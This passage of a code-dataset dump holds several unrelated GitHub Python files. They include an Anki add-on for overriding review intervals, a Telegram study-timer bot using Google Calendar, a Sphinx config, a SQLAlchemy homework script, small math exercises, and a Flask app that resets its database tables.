max(self._adjRevIvl(card, idealIvl), card.ivl + 1),\n self._revConf(card)[\"maxIvl\"],\n )\n newIvl = CardReviewIntervalOverrider.override_review_interval(\n newIvl, self, card, ease, idealIvl\n )\n card.ivl = newIvl\n\nScheduler._updateRevIvl = _updateRevIvl_MonkeyPatched\n\n\ndef _answerButtons_MonkeyPatched(self) -> str:\n default = self._defaultEase()\n\n def but(i, label):\n if i == default:\n extra = \"id=defease\"\n else:\n extra = \"\"\n due = self._buttonTime(i)\n return \"\"\"\n
\"\"\" % (\n due,\n extra,\n _(\"Shortcut key: %s\") % i,\n i,\n i,\n label,\n )\n\n buf = \"
執筆者名%s
\"\n answerButtonTuples = self._answerButtonList()\n for ease, label in answerButtonTuples:\n buttonHtml = but(ease, label)\n buttonHtml = renderEasyButton(\n buttonHtml, self, ease, default, label, len(answerButtonTuples)\n )\n buf += buttonHtml\n buf += \"
\"\n script = \"\"\"\n\"\"\"\n return buf + script\n\nReviewer._answerButtons = _answerButtons_MonkeyPatched\n\n\nclass CardReviewIntervalOverrider:\n overrideDays = None\n\n @staticmethod\n def on_webview_did_receive_js_message(handled: Tuple[bool, Any], message: str, context: Any) -> Tuple[bool, Any]:\n if not (isinstance(context, ReviewerBottomBar) and message.startswith(\"ease_\")):\n return handled\n\n CardReviewIntervalOverrider.overrideDays = None\n ease = int(message[5:6])\n try:\n CardReviewIntervalOverrider.overrideDays = int(message[7:])\n finally:\n smallestDay = 1\n biggestDay = 36500\n if (CardReviewIntervalOverrider.overrideDays is None\n or CardReviewIntervalOverrider.overrideDays < smallestDay\n or CardReviewIntervalOverrider.overrideDays > biggestDay):\n showWarning(\"Enter a whole number between {0} and {1}.\".format(smallestDay, biggestDay))\n return (True, None)\n \n # _answerCard() will call _answerRevCard() which calls _rescheduleRev() which calls _updateRevIvl()\n # use overrideDays only once in the next call to _answerCard() \n context.reviewer._answerCard(ease)\n\n return (True, None)\n\n @staticmethod\n def override_review_interval(nextIvl: int, scheduler: Scheduler, card: Card, ease: int, idealIvl: int) -> int:\n if CardReviewIntervalOverrider.overrideDays:\n try:\n return CardReviewIntervalOverrider.overrideDays\n finally:\n CardReviewIntervalOverrider.overrideDays = None\n else:\n return nextIvl\n\n\n# Use static class method as hook\ngui_hooks.webview_did_receive_js_message.append(CardReviewIntervalOverrider.on_webview_did_receive_js_message)\n\n\ndef renderEasyButton(buttonHtml: str, reviewer: Reviewer, ease: int, defaultEase: int, label: str, numAnswerButtons: int) -> str:\n if numAnswerButtons < 3 or ease != numAnswerButtons:\n return buttonHtml\n # ease is for the last button, i.e. the Easy button => render it with an input field as label\n \n if ease == defaultEase:\n extra = \"id=defease\"\n else:\n extra = \"\"\n\n ivlSecs = reviewer.mw.col.sched.nextIvl(reviewer.card, ease)\n days = max(1, round(ivlSecs / 86400))\n dayStr = tr(TR.SCHEDULING_ANSWER_BUTTON_TIME_DAYS, amount=\"\")\n # There seems to be a bug that the size attribute of the input tag is not respected.\n # Instead the max attribute is used to determine the width of the input field \n # and further space is added for decimals.\n # As workaround the CSS max-width is set to reduce the width of the input field to\n # about 4 digits plus the space for the spinner.\n html = \"\"\"\n\n\n%s
\n\n\"\"\" % (\n days,\n dayStr,\n extra,\n _(\"Shortcut key: %s\") % ease,\n ease,\n ease,\n label,\n )\n return html\n\n","repo_name":"robwe/ankiAddonEasyOverride","sub_path":"monkeyPatched/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4959,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"70022888909","text":"import os\nimport contextlib\n\n\n@contextlib.contextmanager\ndef override_environ(**kwargs):\n save_env = dict(os.environ)\n for key, value in kwargs.items():\n if value is None:\n del os.environ[key]\n else:\n os.environ[key] = value\n try:\n yield\n finally:\n os.environ.clear()\n os.environ.update(save_env)\n\n\nBASEURL = \"https://play.dhis2.org/demo\"\nAPI_URL = \"{}/api\".format(BASEURL)\n","repo_name":"davidhuser/dhis2.py","sub_path":"tests/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"} +{"seq_id":"518932774","text":"# Configuration file for the Sphinx documentation builder.\n#\n# For the full list of built-in configuration values, see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\nimport os\nimport sys\n\nimport django\n\n# -- Project information -----------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information\n\nproject = 'djangospx'\ncopyright = '2022, Ivan'\nauthor = 'Ivan'\nrelease = '0.1'\n\n# -- General configuration ---------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration\n\nextensions = [\"sphinx.ext.autodoc\", \"sphinx.ext.viewcode\", \"sphinx.ext.coverage\"]\n\ntemplates_path = ['_templates']\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store', \".idea\", \"__pycache__\"]\n\n# -- Options for HTML output -------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output\n\nhtml_theme = 'alabaster'\nhtml_static_path = ['_static']\n\n# I've simplified this a little to use append instead of insert.\nsys.path.append(os.path.abspath('../'))\n\n# Specify settings module\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'djangospx.settings')\n\n# Setup Django\n\ndjango.setup()\n","repo_name":"milemik/django-sphinx-setup","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24681717899","text":"#!/usr/bin/env python3\nimport logging\nimport os\n\nfrom dotenv import load_dotenv\nfrom telegram.ext import (\n ChosenInlineResultHandler,\n CommandHandler,\n Filters,\n InlineQueryHandler,\n MessageHandler,\n Updater,\n)\n\nfrom vigibot import loghandler\nfrom vigibot.handlers import (\n alerta,\n bom_dia,\n error,\n inlinequery,\n location,\n on_inline_result_chosen,\n unknown,\n)\n\nload_dotenv()\n# Load environment variables from .env\nBOT_TOKEN = os.getenv(\"BOT_TOKEN\")\n\n# Setup logging\nmodule_logger = logging.getLogger(__name__)\nmodule_logger.addHandler(loghandler)\nmodule_logger.setLevel(logging.INFO)\n\n\n# end of log section\n\n\ndef main():\n module_logger.info(\"Vigibot starting...\")\n updater = Updater(token=BOT_TOKEN, use_context=True)\n dispatcher = updater.dispatcher\n\n # bot's error handler\n dispatcher.add_error_handler(error)\n\n # bot's command handlers\n ola_handler = CommandHandler(\"ola\", bom_dia, run_async=True)\n dispatcher.add_handler(ola_handler)\n # ola_handler2 = CommandHandler('olá', bom_dia)\n # dispatcher.add_handler(ola_handler2)\n\n alerta_handler = CommandHandler(\n \"alerta\", alerta, pass_args=True, pass_user_data=True, run_async=True\n )\n dispatcher.add_handler(alerta_handler)\n\n unknown_handler = MessageHandler(Filters.command, unknown, run_async=True)\n dispatcher.add_handler(unknown_handler)\n\n location_handler = MessageHandler(\n Filters.location, location, pass_user_data=True, run_async=True\n )\n dispatcher.add_handler(location_handler)\n\n dispatcher.add_handler(InlineQueryHandler(inlinequery, run_async=True))\n\n result_chosen_handler = ChosenInlineResultHandler(on_inline_result_chosen)\n dispatcher.add_handler(result_chosen_handler)\n\n updater.start_polling()\n updater.idle()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AlertaDengue/vigibot","sub_path":"vigibot_app/vbot.py","file_name":"vbot.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"42988787192","text":"from sqlalchemy import create_engine,Column,Integer,String\r\nfrom sqlalchemy.orm import sessionmaker\r\nfrom sqlalchemy.ext.declarative import declarative_base\r\n\r\nuser = 'root'\r\npwd = 'root'\r\nhost = '192.168.42.144'\r\nport = 3306\r\ndb = 'test'\r\nengine = create_engine('mysql+pymysql://{}:{}@{}:{}/{}'.format(user,pwd,host,port,db),echo=True)\r\n\r\nBase = declarative_base()\r\n\r\nclass People(Base):\r\n __tablename__ = 'People'\r\n id = Column(Integer,primary_key=True,autoincrement=True)\r\n username = Column(String(64),nullable=False)\r\n age =Column(Integer)\r\n sex =Column(String(8),nullable=False)\r\n def __repr__(self):\r\n return \"{}: {} {} {} {}\".format(self.__class__.__name__,self.id,self.username,self.age,self.sex)\r\nBase.metadata.create_all(engine)\r\n\r\n\r\ns = People(username='tom',age=80,sex='M')\r\ns.username = 'peter'\r\ns.age = 76\r\ns.sex ='M'\r\n\r\ns.username = 'kate'\r\ns.age = 69\r\ns.sex ='F'\r\n\r\nSession = sessionmaker(bind=engine)\r\nsession = Session()\r\nsession.add(s)\r\nsession.commit()\r\n\r\nperson = People(username='jerry',age=90,sex='M')\r\n\r\nsession.add(person)\r\nsession.commit()\r\n\r\np = session.query(People).get(3) #修改\r\np.username = 'John'\r\np.age=100\r\np.sex='M'\r\nsession.add(p)\r\nsession.commit()\r\n\r\ntry:\r\n p1 = session.query(People).get(4) #刪除\r\n session.delete(p1)\r\n session.commit()\r\nexcept Exception:\r\n session.rollback()\r\n\r\n\r\npeople = session.query(People).limit(6).offset(4) #分頁\r\nprint(list(people))\r\n\r\n\r\n","repo_name":"magedu-python24/homework","sub_path":"P25065-晨/16th weekly homework.py","file_name":"16th weekly homework.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"31933914771","text":"# 因子法\n# 5 与任何一个偶数相乘都会增加末尾0的个数\ndef zeroCount(n: int):\n count = 0\n while n > 0:\n n /= 5\n count += n\n return round(count)\n\n\n# 变形\n# N! -> N/5 + N/5**2 + n/5*3 ... + N/5**m (5**m < N and 5**(m+1) > N)\n\nif __name__ == '__main__':\n print(zeroCount(1024))\n\n a = 5\n b = 6","repo_name":"CAgAG/Arithmetic_PY","sub_path":"基本数学运算/判断1024阶层末尾有几个0.py","file_name":"判断1024阶层末尾有几个0.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"7821163656","text":"# 问题描述\r\n# 一个数组中,若array[i] <= array[i + 1]对于每一个i(1 <= i < n)都成立则该数组是不下降的。给定一个\r\n# 包含n个整数的数组,检测在改变至多1个元素的情况下,它是否可以变成不下降的\r\n\r\n\r\n# 示例\r\n# 输入:[4,2,3]\r\n# 输出:True\r\n# 解释:因为可以把第一个4修改为1,从而得到一个不下降数组\r\n\r\n# 输入:[4,2,1]\r\n# 输出:False\r\n# 解释:因为在修改至多1个元素的情况下,无法得到一个不下降数组\r\n\r\n\r\n# 源码实现\r\nclass Solution:\r\n def checkPossibility(self, nums):\r\n count = 0\r\n for i in range(1, len(nums)):\r\n if nums[i] < nums[i - 1]:\r\n count += 1\r\n if i >= 2 and nums[i] < nums[i - 2]:\r\n nums[i] = nums[i - 1]\r\n else:\r\n nums[i - 1] = nums[i]\r\n return count <= 1\r\n\r\n# 主函数\r\nif __name__ == '__main__':\r\n solution = Solution()\r\n nums = [4,2,3]\r\n print(\"Input: nums = \", nums)\r\n print(\"Output: \", solution.checkPossibility(nums))\r\n\r\n\r\n\r\n# 运行结果\r\n# Input: nums = [4, 2, 3]\r\n# Output: True","repo_name":"18096076730/Python-Examples","sub_path":"入门/例83.不下降数组.py","file_name":"例83.不下降数组.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"7323954901","text":"from primefunctions import find_prime_factors\nimport re\n\n\ndef take_input():\n\tprint(\"Enter a number or numbers separated by commas to get their prime factors.\")\n\n\tmultiplication_dot = \"∙\"\n\tsuperdigits = \"⁰¹²³⁴⁵⁶⁷⁸⁹\"\n\n\t# Convert a multi-digit number to superscript\n\tdef super_each_digit(n: int) -> str:\n\t\tsupers_list = [superdigits[int(digit)] for digit in str(n)]\n\t\treturn \"\".join(supers_list)\n\n\tdef stringify(primes: list[int], powers: list[int]) -> str:\n\t\tpowers_strings = [\n\t\t\tsuper_each_digit(x) if x > 1\n\t\t\telse \"\"\n\t\t\tfor x in powers\n\t\t]\n\t\tpowered_factors = [str(prime) + pwr for prime, pwr in zip(primes, powers_strings)]\n\n\t\treturn multiplication_dot.join(powered_factors)\n\n\n\twhile True:\n\t\tentered_string = input(\"\\nNumbers: \")\n\t\tif entered_string.lower() in (\"\", \"exit\", \"quit\"):\n\t\t\tprint(\"Exiting\")\n\t\t\treturn\n\n\t\ttry:\n\t\t\tnumberstrings = re.split(r\"[, ]+\", entered_string)\n\t\t\tvalues = [int(x) for x in numberstrings]\n\t\texcept ValueError:\n\t\t\tprint(\"Error: Inputs must be whole numbers\")\n\t\t\tcontinue\n\n\t\twidth = max(len(x) for x in numberstrings) + 1\n\n\t\tfor num_string, value in zip(numberstrings, values):\n\t\t\tprimes = find_prime_factors(value)\n\t\t\tunique_primes, counts = unique(primes)\n\n\t\t\tfactor_string = stringify(unique_primes, counts)\n\t\t\tsign = \"-\" if value < 0 else \"\"\n\t\t\tprint(num_string.rjust(width) + \" = \" + sign + factor_string)\n\n\ndef unique(numbers: list[int]) -> tuple[list[int], list[int]]:\n\t\"\"\"Vanilla implementation of numpy.unique.\"\"\"\n\n\tif len(numbers) == 0:\n\t\treturn [], []\n\n\tnumbers = sorted(numbers)\n\n\tvalues = [numbers[0]]\n\tcounts = [1]\n\n\tfor n in numbers[1:]:\n\t\tif n == values[-1]:\n\t\t\tcounts[-1] += 1\n\n\t\telse:\n\t\t\tvalues.append(n)\n\t\t\tcounts.append(1)\n\n\treturn values, counts\n\n\nif __name__ == \"__main__\":\n\ttake_input()\n","repo_name":"Volbla/Primefactors","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"69973001230","text":"import pygame\n\n\ndef main():\n print(\"test\")\n gui = GUI_Support()\n xWidth = 800\n yHeight = 600\n screen = gui.initDisplay((xWidth, yHeight))\n handX = 200\n handY = 100\n handZ = 1501\n x = 50\n y = 50\n\n gui.drawGraphics((handX, handY, handZ), screen, (xWidth, yHeight))\n gui.displayMetrics(f'X: {x},Y: {y},Z: ', screen)\n pygame.display.update()\n\n while 1:\n if gui.isQuit():\n break\n\n\nclass GUI_Support:\n\n def initDisplay(self, dims):\n pygame.init()\n return pygame.display.set_mode(dims)\n\n def isQuit(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return True\n else:\n return False\n\n def buttonTracker(self, inc, dec, stater):\n keys = pygame.key.get_pressed() # checking pressed keys\n if keys[inc]:\n stater = stater + 10 if stater < 100 else stater\n if keys[dec]:\n stater = stater - 10 if stater > 0 else stater\n return stater\n\n def drawGraphics(self, position, screen, dims):\n handX, handY, handZ = position\n width, height = dims\n screen.fill((0, 0, 0))\n pygame.draw.line(screen, (255, 0, 0), (0, handY), (width, handY))\n pygame.draw.line(screen, (0, 255, 0), (handX, 0), (handX, height))\n\n circleRadius = int(handZ / 20) if (handZ / 20) > 0 else 1\n pygame.draw.circle(screen, (0, 0, 255), (handX, handY), circleRadius)\n\n # thank you Sentdex <3\n def getTextObjects(self, text, font):\n textSurface = font.render(text, True, (255, 255, 255))\n return textSurface, textSurface.get_rect()\n\n def drawText(self, text, y, fontSize, screen):\n largeText = pygame.font.Font('Lato-Medium.ttf', fontSize)\n TextSurf, TextRect = self.getTextObjects(text, largeText)\n TextRect.left = 0\n TextRect.top = y\n screen.blit(TextSurf, TextRect)\n\n def displayMetrics(self, data, screen):\n fontSize = 25\n data = data.split(',')\n for i in range(len(data)):\n self.drawText(data[i], i * fontSize, fontSize, screen)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"lanebirm/pygame_test","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73918430348","text":"import numpy as np\nfrom numpy import sin, cos, tan, sqrt\nfrom scipy import optimize\nimport argparse\n\n# Get arguments\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-M', default = 'none', type = float)\nparser.add_argument('-gamma', default = 'none', type = float)\nargs = parser.parse_args()\n\nassert 'none' not in [args.M, args.gamma]\ng = args.gamma\nM = args.M\n\nm2_sqr = (1 + (g-1.0)/2.0 * M**2 ) / (g*M**2 - (g-1.0)/2.0 )\nprint(\"m2^2 = \",m2_sqr)\nm2 = sqrt(m2_sqr)\nprint(\"M2 = \", m2)\n","repo_name":"Arpit-Babbar/gas_dynamics_nptel","sub_path":"mach_number_prandtl.py","file_name":"mach_number_prandtl.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72964872909","text":"from __future__ import print_function\nimport logging\nimport test_func\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\nfrom telegram import InlineQueryResultArticle, InputTextMessageContent\nfrom telegram.ext import InlineQueryHandler\nimport login\nimport time\nimport datetime as dt\nfrom datetime import datetime, timedelta\nimport pickle\nimport os.path\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\n\n\nimport telegram.ext\nfrom telegram.ext import Updater\n\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\n# allows me to log messages. Basically the above code tells me when someone logs in\n# loggin helps to tell me where and why things don't work\n\nlogger = logging.getLogger(__name__)\n\n\n# https://stackoverflow.com/questions/50714316/how-to-use-logging-getlogger-name-in-multiple-modules\n# tldr, the logger = above is used to get the hierarchy of which the logger is at. Eg. if we used multiple modules\n\n\n# Defining command handlers\n# Takes in the command update and context\n# update and context - what do they mean?\n#\n# Error handlers also receive the raised TelegramError object in error.\n\n##############################\n# What is update and context #\n##############################\n# From printing, we note that update is a json file detailing all the details of the bot.\n# Every update refers to an individual object from someone that texted the bot\n# for context, it refers to telegram.ext.callbackcontext.CallbackContext object at 0x107581b00\n# Some sort of object.\n\n\ndef error(update, context):\n \"\"\"Log Errors caused by Updates.\"\"\"\n logger.warning('Update \"%s\" caused error \"%s\"', update, context.error)\n\n\ndef inline_caps(update, context):\n '''\n Addition of inline mode\n This means that the bot can be called in a chat/group chat\n Great as the functions can be used without even triggering the bot.\n Immediate use cases would be CAP text, converting to code\n Tougher use cases would be sending your schedule etc\n '''\n query = update.inline_query.query\n if not query:\n return\n results = list()\n results.append(\n InlineQueryResultArticle(\n id=query.upper(),\n title='Caps',\n input_message_content=InputTextMessageContent(query.upper())\n )\n )\n context.bot.answer_inline_query(update.inline_query.id, results)\n\n\ndef unknown(update, context):\n '''Last handler. If the command is not understood, replies as so'''\n\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Sorry brother\"\n \", I never study a level. \"\n \"Don't understand that command\")\n\n\n#########################################################################################################\n#########################################################################################################\ndef alarm(context):\n \"\"\"Send the alarm message.\"\"\"\n job = context.job\n print(\"bro\")\n context.bot.send_message(job.context, text='Yo take a break!')\n\n\ndef my_schedule(update, context):\n num_of_events = context.args[0]\n \"\"\"Shows basic usage of the Google Calendar API.\n Prints the start and name of the next 10 events on the user's calendar.\n \"\"\"\n days_of_week = (\"ISO Week days start from 1\",\n \"Monday\",\n \"Tuesday\",\n \"Wednesday\",\n \"Thursday\",\n \"Friday\",\n \"Saturday\",\n \"Sunday\" )\n SCOPES = ['https://www.googleapis.com/auth/calendar.readonly']\n creds = None\n # The file token.pickle stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists('token.pickle'):\n with open('token.pickle', 'rb') as token:\n creds = pickle.load(token)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n 'credentials.json', SCOPES)\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run\n with open('token.pickle', 'wb') as token:\n pickle.dump(creds, token)\n\n service = build('calendar', 'v3', credentials=creds)\n\n # Call the Calendar API\n now = dt.datetime.now().isoformat() + \"+08:00\" # 'Z' indicates UTC time\n tomorrow_date = (datetime.today() + timedelta(days=1)).date() # tomorrow's date\n end_today = tomorrow_date.isoformat()\n tomorrow_string = tomorrow_date.strftime(\"%Y-%m-%d\")\n #print('Getting the upcoming 10 events')\n date_string = tomorrow_string+\"T00:00:01\"\n #print(date_string)\n tomorrow_date = datetime.strptime(date_string, \"%Y-%m-%dT%H:%M:%S\").isoformat() + \"+08:00\"\n #print(tomorrow_date)\n #print(now)\n if num_of_events == str(0):\n # print('pee')\n events_result = service.events().list(calendarId='primary', timeMin=now, timeMax=tomorrow_date,\n singleEvents=True,\n orderBy='startTime').execute()\n\n else:\n print('poo')\n events_result = service.events().list(calendarId='primary', timeMin=now,\n maxResults=num_of_events, singleEvents=True,\n orderBy='startTime').execute()\n events = events_result.get('items', [])\n\n if not events:\n print('No upcoming events found.')\n for event in events:\n start = event['start'].get('dateTime', event['start'].get('date'))\n event = (start, event['summary'])\n\n event_start = datetime.strptime(event[0].split(\"T\")[1].split(\"+\")[0], \"%H:%M:%S\").strftime(\"%I:%M %p\")\n datetime_obj = datetime.strptime(event[0].split(\"T\")[0], '%Y-%M-%d')\n week_day = days_of_week[datetime_obj.isoweekday()]\n update.message.reply_text(\"For *{}*, \".format(week_day) + \"\\n\"\n \" {} starts at {}\".format(event[1], event_start), parse_mode='Markdown')\n\n\n'''\ndef set_timer(update, context):\n \"\"\"Add a job to the queue.\"\"\"\n chat_id = update.message.chat_id\n try:\n # args[0] should contain the time for the timer in seconds\n due = int(context.args[0])\n if due < 0:\n update.message.reply_text('Sorry we can not go back to future!')\n return\n\n # Add job to queue and stop current one if there is a timer already\n new_job = context.job_queue.run_once(alarm(due), due, context=chat_id)\n context.chat_data['job'] = new_job\n\n update.message.reply_text('Timer successfully set!')\n\n except (IndexError, ValueError):\n update.message.reply_text('Usage: /set ')\n'''\n\n\ndef unset(update, context):\n \"\"\"Remove the job if the user changed their mind.\"\"\"\n if 'job' not in context.chat_data:\n update.message.reply_text('You have no active timer')\n return\n\n job = context.chat_data['job']\n job.schedule_removal()\n del context.chat_data['job']\n\n update.message.reply_text('Timer successfully unset!')\n\n'''\ndef one_chunk(update, context):\n \"\"\"Add a job to the queue.\"\"\"\n chat_id = update.message.chat_id\n try:\n # args[0] should contain the time for the timer in seconds\n due = int(10)\n if due < 0:\n update.message.reply_text('Sorry we can not go back to future!')\n return\n\n # Add job to queue and stop current one if there is a timer already\n\n\n new_job = context.job_queue.run_once(alarm, due, context=chat_id)\n context.chat_data['job'] = new_job\n\n update.message.reply_text('Timer successfully set for {} seconds!'.format(due))\n\n except (IndexError, ValueError):\n update.message.reply_text('Usage: /set ')\n'''\n\n\ndef study_chunk(update, context):\n chat_id = update.message.chat_id\n try:\n no_of_chunks = int(context.args[0])\n t = time.localtime()\n current_time = time.strftime(\"%H:%M\", t)\n update.message.reply_text('You have chosen to have {} study chunks. Starting now @ {}.'.format(no_of_chunks,\n current_time))\n for i in range(1,no_of_chunks+1):\n t = time.localtime()\n current_time = time.strftime(\"%H:%M\", t)\n update.message.reply_text('Please begin chunk #{} now @ {}'.format(i, current_time))\n time_for_study = 60 * 25\n time_for_break = 60 * 5\n time.sleep(time_for_study)\n t = time.localtime()\n current_time = time.strftime(\"%H:%M\", t)\n update.message.reply_text('You have completed chunk number {} at {}'.format(i, current_time))\n update.message.reply_text('Please take your {} break now for 5 minutes.'.format(i))\n time.sleep(time_for_break)\n update.message.reply_text('Your break has ended at {}. Please get back to work.'.format(current_time))\n update.message.reply_text('----\\n')\n\n except (IndexError, ValueError):\n update.message.reply_text('Not working bro')\n\n\ndef main():\n \"\"\"Start the bot.\"\"\"\n # Create the Updater and pass it your bot's token.\n # Make sure to set use_context=True to use the new context based callbacks\n # Post version 12 this will no longer be necessary\n updater = Updater(login.token, use_context=True)\n j = updater.job_queue\n\n # Get the dispatcher to register handlers\n dp = updater.dispatcher\n\n # on different commands - answer in Telegram\n # https://python-telegram-bot.readthedocs.io/en/stable/telegram.ext.commandhandler.html\n # Handler class listening for telegram commands\n dp.add_handler(CommandHandler(\"start\", test_func.start))\n dp.add_handler(CommandHandler(\"help\", test_func.help))\n # on non - command i.e message - echo the message on Telegram\n dp.add_handler(MessageHandler(Filters.text, test_func.echo))\n dp.add_handler(CommandHandler(\"caps\", test_func.caps))\n dp.add_handler(InlineQueryHandler(inline_caps))\n\n '''dp.add_handler(CommandHandler(\"set\", set_timer,\n pass_args=True,\n pass_job_queue=True,\n pass_chat_data=True))'''\n dp.add_handler(CommandHandler(\"unset\", unset, pass_chat_data=True))\n dp.add_handler(CommandHandler(\"study_chunk\", study_chunk,\n pass_args=True,\n pass_job_queue=True,\n pass_chat_data=True))\n\n dp.add_handler(CommandHandler(\"today_schedule\", my_schedule))\n\n dp.add_handler(MessageHandler(Filters.command, unknown))\n\n # log all errors\n dp.add_error_handler(error)\n\n # Start the Bot\n updater.start_polling()\n\n # Run the bot until you press Ctrl-C or the process receives SIGINT,\n # SIGTERM or SIGABRT. This should be used most of the time, since\n # start_polling() is non-blocking and will stop the bot gracefully.\n updater.idle()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"darrenlimweiyang/my-assistant-jane","sub_path":"jane.py","file_name":"jane.py","file_ext":"py","file_size_in_byte":11601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23974758996","text":"\n__author__ = 'Danyang'\n\n\nclass VersionControl:\n @classmethod\n def isBadVersion(cls, id):\n return True\n\n\nclass Solution:\n def findFirstBadVersion(self, n):\n \n l = 1\n h = n+1\n while l < h:\n m = (l+h)/2\n if not VersionControl.isBadVersion(m):\n l = m+1\n else:\n h = m\n\n return l\n\n\n","repo_name":"DL2021Spring/CourseProject","sub_path":"data_files/First Bad Version.py","file_name":"First Bad Version.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22654181594","text":"from flask import Flask, render_template, redirect, url_for, flash, request\nfrom flask_bootstrap import Bootstrap\nfrom flask_sqlalchemy import SQLAlchemy\nimport os\n\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = os.environ.get(\"SECRET_KEY\")\nBootstrap(app)\n\n\n# CONNECT TO DB\n# The current version of SQLAlchemy uses a URI of \"postgresql://\" when accessing a PostgreSQL database.\n# Heroku uses a URI of \"postgres://\". Because of this difference, when running at Heroku, the system\n# crashes because SQLAlchemy cannot connect to a URI of \"postgres://\". I added the replace() call to change\n# the environment variable returned from Heroku into a URI that can be used by SQLAlchemy. If Heroku ever\n# changes to use \"postgresql://\" like SQLAlchemy does, then this code should still work since the replace()\n# call will not change the URI. If Heroku ever makes this change, you can remove the call to replace().\n# This code was suggested by a post on StackOverflow:\n# https://stackoverflow.com/questions/66690321/flask-and-heroku-sqlalchemy-exc-nosuchmoduleerror-cant-load-plugin-sqlalchemy\n#\n# Running the program on my local computer uses a SQLite database. I want to continue to be able to run the\n# program on my computer for development while it is also running on Heroku. This is accomplished by including\n# the DATABASE_URL in an environment variable. The call to replace() has no effect on this URL because the\n# URL on the local computer does not contain \"postgres://\".\napp.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get(\n \"DATABASE_URL\",\n).replace(\"postgres://\", \"postgresql://\", 1)\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\n\nclass PageHeader(db.Model):\n __tablename__ = \"page_headers\"\n id = db.Column(db.Integer, primary_key=True)\n image_url = db.Column(db.String(250), nullable=False)\n title = db.Column(db.String(100), nullable=False)\n subtitle = db.Column(db.String(100), nullable=False)\n announcement = db.Column(db.Text, nullable=True)\n\n\nclass Weed(db.Model):\n __tablename__ = \"weeds\"\n id = db.Column(db.Integer, primary_key=True)\n scientific_name = db.Column(db.String(200), nullable=False)\n description = db.Column(db.Text, nullable=False)\n removal_method = db.Column(db.Text, nullable=False)\n comments = db.Column(db.Text, nullable=False)\n location_desc = db.Column(db.Text, nullable=False)\n location_map = db.Column(db.String(200), nullable=False)\n display_order = db.Column(db.Integer, nullable=False)\n\n\nclass WeedCommonName(db.Model):\n __tablename__ = \"weed_common_names\"\n id = db.Column(db.Integer, primary_key=True)\n common_name = db.Column(db.String(250), nullable=False)\n is_primary = db.Column(db.Boolean, nullable=False)\n weed_id = db.Column(db.Integer, db.ForeignKey(\"weeds.id\"), nullable=False)\n\n weed = db.relationship(\"Weed\", backref=db.backref(\"weed_common_names\", lazy=True))\n\n\nclass WeedPhoto(db.Model):\n __tablename__ = \"weed_photos\"\n id = db.Column(db.Integer, primary_key=True)\n photo_url = db.Column(db.String(200), nullable=False)\n caption = db.Column(db.String(250), nullable=False)\n display_order = db.Column(db.Integer, nullable=False)\n weed_id = db.Column(db.Integer, db.ForeignKey(\"weeds.id\"), nullable=False)\n\n weed = db.relationship(\"Weed\", backref=db.backref(\"weed_photos\"), lazy=True)\n\n\n# Delete all rows from all tables.\n# I tried using db.drop_all() but it always crashed when the application was being deployed.\nWeedPhoto.query.delete()\nWeedCommonName.query.delete()\nWeed.query.delete()\nPageHeader.query.delete()\n\ndb.session.commit()\n\n\n# db.create_all()\n\n\n@app.route('/')\ndef show_page():\n page_header = PageHeader(\n 